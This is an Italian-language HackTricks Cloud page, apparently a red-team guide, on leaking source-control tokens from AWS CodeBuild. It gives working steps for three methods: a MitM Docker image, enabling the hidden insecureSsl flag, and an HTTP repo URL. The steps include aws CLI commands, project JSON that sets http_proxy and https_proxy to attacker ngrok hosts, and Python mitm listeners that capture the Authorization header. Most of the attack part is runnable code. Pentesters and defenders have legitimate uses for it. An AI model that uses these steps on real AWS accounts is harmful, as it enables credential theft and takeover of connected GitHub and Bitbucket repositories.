AWS Codebuild - Token Leakage
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Recuperare Github/Bitbucket Configurati Tokens
Innanzitutto, verifica se ci sono source credentials configurate che potresti leak:
aws codebuild list-source-credentials
Via Docker Image
Se scopri che lâautenticazione a esempio a Github è impostata nellâaccount, puoi exfiltrate quellâaccesso (GH token or OAuth token) facendo in modo che Codebuild use an specific docker image per eseguire il build del progetto.
A questo scopo puoi create a new Codebuild project o modificare lâenvironment di uno esistente per impostare la Docker image.
La Docker image che puoi usare è https://github.com/carlospolop/docker-mitm. Questa è una Docker image molto basilare che imposterĂ le env variables https_proxy, http_proxy e SSL_CERT_FILE. Questo ti permetterĂ di intercettare la maggior parte del traffico dellâhost indicato in https_proxy e http_proxy e di fidarti del certificato SSL indicato in SSL_CERT_FILE.
- Create & Upload your own Docker MitM image
- Segui le istruzioni del repo per impostare lâindirizzo IP del proxy e il tuo certificato SSL e build the docker image.
- DO NOT SET
http_proxyper non intercettare le richieste allâendpoint dei metadata. - Puoi usare
ngrokcomengrok tcp 4444per impostare il proxy verso il tuo host - Una volta che hai costruito la Docker image, upload it to a public repo (Dockerhub, ECRâŚ)
- Set the environment
- Crea un new Codebuild project o modify lâenvironment di uno esistente.
- Imposta il progetto per usare la previously generated Docker image
.png)
- Set the MitM proxy in your host
- Come indicato nel Github repo potresti usare qualcosa come:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
La versione di mitmproxy utilizzata era la 9.0.1; è stato segnalato che con la versione 10 questo potrebbe non funzionare.
- Esegui la build & cattura le credenziali
- Puoi vedere il token nellâheader Authorization:
.png)
Questo può essere fatto anche dallâaws cli con qualcosa del tipo
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Tramite insecureSSL
I progetti Codebuild hanno unâimpostazione chiamata insecureSsl che è nascosta nella console web e può essere modificata solo tramite API.
Abilitandola, consente a Codebuild di connettersi al repository senza verificare il certificato offerto dalla piattaforma.
- Per prima cosa è necessario enumerare la configurazione corrente con qualcosa del tipo:
aws codebuild batch-get-projects --name <proj-name>
- Poi, con le informazioni raccolte puoi aggiornare lâimpostazione del progetto
insecureSslaTrue. Di seguito un esempio del mio aggiornamento di un progetto, notainsecureSsl=Truealla fine (questa è lâunica cosa che devi cambiare rispetto alla configurazione raccolta). - Inoltre, aggiungi anche le variabili dâambiente http_proxy e https_proxy puntandole al tuo tcp ngrok come:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Poi, esegui lâesempio di base da https://github.com/synchronizing/mitm nella porta indicata dalle variabili proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Infine, clicca su Build the project, le credenziali verranno inviate in chiaro (base64) alla porta mitm:
 (1).png)
Tramite protocollo HTTP
[!TIP] > Questa vulnerabilità è stata corretta da AWS in qualche momento nella settimana del 20 Feb 2023 (penso venerdÏ). Quindi un attacker non può piÚ abusarne :)
Un attacker con permessi elevati su un CodeBuild potrebbe provocare il leak del token Github/Bitbucket configurato oppure, se i permessi erano configurati via OAuth, del token OAuth temporaneo usato per accedere al codice.
- Un attacker potrebbe aggiungere le variabili dâambiente http_proxy e https_proxy al progetto CodeBuild puntando alla sua macchina (per esempio
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Poi, cambia lâURL del repo github per usare HTTP invece di HTTPS, per esempio:
http://github.com/carlospolop-forks/TestActions - Poi, esegui lâesempio base da https://github.com/synchronizing/mitm sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Successivamente, clicca su Costruisci il progetto o avvia la compilazione dalla riga di comando:
aws codebuild start-build --project-name <proj-name>
- Infine, le credentials saranno inviate in chiaro (base64) alla porta mitm:
.png)
Warning
Ora un attacker sarĂ in grado di usare il token dalla sua macchina, elencare tutti i privilegi che possiede e (ab)use piĂš facilmente rispetto allâuso diretto del servizio CodeBuild.
Esecuzione di PR non affidabili tramite misconfigurazione del filtro webhook
Per la PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), consulta:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

